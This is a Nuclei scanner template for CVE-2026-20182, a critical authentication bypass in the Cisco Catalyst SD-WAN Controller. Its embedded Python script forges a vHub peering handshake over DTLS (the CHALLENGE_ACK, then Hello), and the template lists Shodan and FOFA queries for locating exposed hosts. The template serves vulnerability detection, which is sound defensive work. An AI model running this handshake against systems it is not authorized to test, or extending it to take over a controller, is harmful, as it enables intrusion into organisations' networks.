id: CVE-2026-20182

info:
  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
  severity: critical
  description: |
    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
  remediation: |
    Update to the latest fixed version as per Cisco advisory.
  impact: |
    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-20182
    epss-score: 0.77324
    epss-percentile: 0.99
    cwe-id: CWE-287
    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: catalyst_sd-wan_controller
    shodan-query: port:12346 product:"Cisco SD-WAN"
    fofa-query: port="12346" && product="Cisco SD-WAN"
  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3

    source: |
      import os
      import struct
      import socket
      import subprocess
      import time
      import select
      import secrets
      import tempfile
      import shutil

      MSG_HELLO         = 0x05
      MSG_CHALLENGE     = 0x08
      MSG_CHALLENGE_ACK = 0x09
      MSG_TEAR_DOWN     = 0x0B

      DEV_VHUB  = 2
      HDR_FLAGS = 0xA0
      DOMAIN_ID = 1
      SITE_ID   = 100

      MSG_NAMES = {
          0x05: "Hello",
          0x08: "CHALLENGE",
          0x09: "CHALLENGE_ACK",
          0x0B: "TEAR_DOWN",
          0x0D: "REGISTER_TO_VMANAGE",
          0x0E: "VMANAGE_TO_PEER",
      }

      def build_header(msg_type):
          byte0 = msg_type & 0x0F
          byte1 = (DEV_VHUB & 0x0F) << 4
          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
                             DOMAIN_ID, SITE_ID)

      def hdr_msg_type(data):
          return data[0] & 0x0F if data else None

      def build_tlv(tlv_type, value):
          if isinstance(value, str):
              value = value.encode()
          return struct.pack(">HH", tlv_type, len(value)) + value

      def build_challenge_ack_body():
          uuid_str   = secrets.token_hex(16)
          server_key = secrets.token_hex(16)

          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
          tlvs += build_tlv(0x0006, uuid_str)
          tlvs += build_tlv(0x0032, server_key)

          body  = struct.pack(">BB", 0, 0)
          body += struct.pack(">B", 6)
          body += tlvs
          return body

      def build_hello_body(port):
          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
          body += struct.pack(">H", 2)
          body += socket.inet_aton("127.0.0.1")
          body += struct.pack(">H", port)
          body += struct.pack(">I", 1)
          body += b"\x00" * 20
          body += struct.pack(">II", 10000, 60000)
          body += struct.pack(">B", 2)
          body += build_tlv(0x0021, struct.pack(">B", 0))
          body += build_tlv(0x0022, struct.pack(">B", 0))
          return body

      def generate_self_signed_cert():
          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
          cert_path = os.path.join(tmpdir, "cert.pem")
          key_path  = os.path.join(tmpdir, "key.pem")

          result = subprocess.run(
              [
                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
                  "-keyout", key_path,
                  "-out",    cert_path,
                  "-days",   "1",
                  "-nodes",
                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
                  "-quiet",
              ],
              capture_output=True,
              timeout=15,
          )
          if result.returncode != 0:
              return None, None, tmpdir
          return cert_path, key_path, tmpdir

      def dtls_connect(host, port, cert_path, key_path):
          cmd = [
              "openssl", "s_client",
              "-dtls1_2",
              "-connect", f"{host}:{port}",
              "-cert",    cert_path,
              "-key",     key_path,
              "-no_ign_eof",
              "-quiet",
          ]
          return subprocess.Popen(
              cmd,
              stdin=subprocess.PIPE,
              stdout=subprocess.PIPE,
              stderr=subprocess.PIPE,
          )

      def wait_for_data(fd, timeout_sec):
          ready, _, _ = select.select([fd], [], [], timeout_sec)
          if not ready:
              return None
          try:
              data = os.read(fd.fileno(), 65536)
              return data if data else None
          except OSError:
              return None

      def send_message(proc, msg_type, body=b""):
          message = build_header(msg_type) + body
          try:
              proc.stdin.write(message)
              proc.stdin.flush()
              return True
          except (BrokenPipeError, OSError):
              return False

      def recv_message(proc, timeout_sec=10):
          data = wait_for_data(proc.stdout, timeout_sec)
          if not data or len(data) < 12:
              return None, None
          return data[:12], data[12:]

      def check_vulnerability(host, port):
          target = f"{host}:{port}"
          print(f"[*] Testing target: {target}")

          cert_path, key_path, tmpdir = generate_self_signed_cert()
          if not cert_path:
              print("[-] Certificate generation failed")
              return False

          proc = None
          try:
              proc = dtls_connect(host, port, cert_path, key_path)
              time.sleep(3)

              if proc.poll() is not None:
                  print("[-] DTLS handshake failed")
                  return False

              hdr, _ = recv_message(proc, timeout_sec=12)
              if hdr is None:
                  print("[-] No CHALLENGE received")
                  return False

              msg_type = hdr_msg_type(hdr)
              if msg_type != MSG_CHALLENGE:
                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
                  print(f"[-] Unexpected message type: {name}")
                  return False

              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
                  print("[-] Failed to send CHALLENGE_ACK")
                  return False

              hdr, _ = recv_message(proc, timeout_sec=8)
              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
                  print("[-] Server sent TEAR_DOWN — not vulnerable")
                  return False

              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
                  print(f"VULNERABLE: {target}")
                  return True

              hdr, _ = recv_message(proc, timeout_sec=8)
              if hdr is not None:
                  msg_type = hdr_msg_type(hdr)
                  if msg_type == MSG_TEAR_DOWN:
                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
                      return False
                  print(f"VULNERABLE: {target}")
                  return True

              print(f"VULNERABLE: {target}")
              return True

          except subprocess.TimeoutExpired:
              print("[-] Operation timed out")
              return False
          except Exception as e:
              print(f"[-] Error: {e}")
              return False
          finally:
              if proc:
                  try:
                      proc.terminate()
                      proc.wait(timeout=3)
                  except Exception:
                      try:
                          proc.kill()
                      except Exception:
                          pass
              shutil.rmtree(tmpdir, ignore_errors=True)

      if __name__ == "__main__":
          host = os.getenv("Host")
          port = os.getenv("Port", "12346")

          if not host:
              print("Host environment variable not set")
              exit(1)

          try:
              port = int(port)
          except ValueError:
              port = 12346

          if check_vulnerability(host, port):
              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
          else:
              print("Target appears to be patched or not Cisco SD-WAN vdaemon")

    matchers:
      - type: word
        words:
          - "VULNERABLE:"
# digest: 4a0a0047304502204f08c13284afc5ba73cd6a63b5a8d7ebe52c9d660d0f63239281aa93cfcfb5a4022100877e96defb837f90571f2ecdf50bec7e4c1df89217544ad315c7349ba884b4ea:922c64590222798bb761d5b6d8e72950